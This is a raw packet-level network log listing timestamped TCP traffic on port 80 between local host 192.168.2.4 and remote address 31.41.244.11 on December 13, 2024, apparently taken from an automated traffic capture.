Dec 13, 2024 01:51:20.656449080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.656497002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.656548977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.657444954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.657514095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.657567978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.657656908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.658530951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.658606052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.658647060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.658701897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.659666061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.659729958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.659849882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.659907103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.660618067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.660681963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.796770096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.796875954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.796966076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.796994925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.797007084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.797077894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.797079086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.797079086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.797960997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.798032999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.798091888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.798150063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.799010992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.799081087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.799154997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.799206972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.800077915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.800165892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.800204992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.800256968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.801146030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.801214933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.801281929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.801332951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.802314043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.802382946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.802408934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.802460909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.803344965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.803412914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.803445101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.803495884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.804435968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.804506063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.804538012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.804588079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.805479050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.805541992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.805602074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.805651903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.806546926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.806607008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.806668043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.806718111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.807666063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.807723045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.807813883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.807864904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.808717012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.808783054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.808825970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.808876038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.809777021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.809839010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.809902906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.809952974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.810879946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.810935020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.810993910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.811043978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.811933041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.811990023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.812064886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.812114954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.813026905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.813086033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.813143015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.813193083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.814119101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.814194918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.814248085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.814300060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.815195084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.815253019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.815326929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.815382957 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.816247940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.816303015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.816432953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.816485882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.817327976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.817384958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.817452908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.817503929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.818414927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.818470955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.818574905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.818629980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.819480896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.819540024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.819605112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.819655895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.820574045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.820637941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.820677042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.820728064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.821660042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.821717024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.821760893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.821810961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.822745085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.822809935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.822868109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.822918892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.823818922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.823874950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.823928118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.823983908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.824906111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.824963093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.825037003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.825089931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.825979948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.826035023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.826035976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.826088905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.827095032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.827131033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.827148914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.827181101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.828111887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.828167915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.828238964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.828290939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.829179049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.829236031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.829351902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.829405069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.830276966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.830333948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.830384016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.830436945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.831356049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.831413031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.831413984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.831463099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.832429886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.832495928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.832559109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.832612038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.833532095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.833589077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.833625078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.833673954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.834606886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.834676981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.834773064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.834825993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.835670948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.835727930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.835796118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.835856915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.836736917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.836801052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.836834908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.836888075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.837836027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.837892056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.837981939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.838031054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.838902950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.838959932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.839020014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.839071035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.840029955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.840086937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.840150118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.840207100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.841054916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.841115952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.841172934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.841228962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.842135906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.842190981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.842263937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.842314005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.843233109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.843288898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.843368053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.843415976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.844307899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.844371080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.844495058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.844548941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.845402002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.845464945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.845498085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.845546961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.846478939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.846537113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.846595049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.846645117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.847529888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.847585917 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.847659111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.847709894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.848587036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.848642111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.848707914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.848757982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.849670887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.849726915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.849733114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.849778891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.850776911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.850832939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.850945950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.850999117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.851824999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.851880074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.851938009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.851989031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.852890968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.852947950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.988850117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.988904953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.989078045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.989136934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.989197969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.989197969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.989247084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.989298105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.990361929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.990416050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.990428925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.990463972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.991441965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.991564035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.991581917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.991640091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.992548943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.992604017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.992609978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.992650032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.993623018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.993678093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.993685007 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.993726015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.994714022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.994791031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.994812012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.994867086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.995563984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.995623112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.995676041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.995723963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.996645927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.996706009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.996707916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.996756077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.997674942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.997729063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.997816086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.997864962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.998795986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.998852015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.998929024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.998977900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.999866009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.999921083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.999998093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.000046015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.000936031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.000993967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.001079082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.001136065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.002029896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.002095938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.002127886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.002181053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.003082991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.003144026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.003233910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.003289938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.004172087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.004242897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.004313946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.004368067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.005247116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.005306959 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.005388975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.005443096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.006352901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.006419897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.006536961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.006592989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.007467031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.007536888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.007590055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.007644892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.008482933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.008542061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.008600950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.008654118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.009535074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.009594917 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.009669065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.009723902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.010622025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.010679960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.010766029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.010818005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.011740923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.011800051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.011857986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.011913061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.012805939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.012875080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.012939930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.012995005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.013875008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.013931990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.014014006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.014066935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.014959097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.015032053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.015113115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.015166044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.016071081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.016125917 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.016189098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.016242027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.017105103 CET	80	49787	31.41.244.11	192.168.2.4
